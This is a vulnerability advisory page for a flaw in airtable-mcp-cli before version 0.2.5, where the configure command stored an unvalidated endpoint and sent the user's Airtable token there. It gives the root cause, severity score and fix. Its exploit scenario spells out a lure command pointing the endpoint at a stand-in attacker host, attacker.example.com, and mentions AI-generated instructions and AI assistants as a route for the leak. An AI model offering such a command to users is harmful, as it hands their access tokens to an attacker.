EUVD-2026-67029
GHSA-qxwr-hgm6-9xxf
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable via social engineering with no attacker privileges required; user must execute configure (UI:R); impact is full token disclosure with no integrity or availability effect.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
The configure command accepted any endpoint URL and stored it beside the user's access token. ConfigureCommand.execute in src/cli.ts persisted the value given to its endpoint option into the user profile without passing it through createSafeUrl in src/config.ts, the helper that already restricted the environment-variable form of the same setting to the vendor's own hosts over HTTPS. Because the connect path in src/mcp.ts attaches the stored token as a bearer credential on every request to the configured endpoint, a user who was persuaded to run configure with an endpoint of the attacker's choosing sent their personal access token to that destination on each subsequent invocation. Version 0.2.5 applies the same helper to the option.
AnalysisAI
Token exfiltration in airtable-mcp-cli before 0.2.5 allows an attacker who convinces a user to run the configure command with a malicious endpoint URL to receive the user's Airtable personal access token on every subsequent CLI invocation. The root cause is that ConfigureCommand.execute in src/cli.ts persisted the --endpoint option directly into the user profile, bypassing the createSafeUrl helper in src/config.ts that already enforced HTTPS and vendor-host restrictions for the environment-variable pathway. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires convincing the target user to execute 'airtable-mcp-cli configure --endpoint <attacker-controlled-url>' at least once. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score is 6.9, with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes a tutorial, GitHub issue comment, or AI-generated instruction set that includes a step such as 'run airtable-mcp-cli configure --endpoint https://attacker.example.com/collect to fix connectivity.' A developer following these instructions stores the malicious endpoint alongside their Airtable PAT. On the next MCP invocation - which may occur automatically when an AI assistant uses the tool - the token is transmitted as a bearer credential to the attacker's server, granting full API access to the victim's Airtable workspace. … |
| Remediation | Upgrade airtable-mcp-cli to version 0.2.5 or later, which applies the createSafeUrl validation to the --endpoint CLI option, restricting accepted values to the Airtable vendor hosts over HTTPS (vendor patch confirmed via GitHub PR #17: https://github.com/Airtable/airtable-mcp-cli/pull/17). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today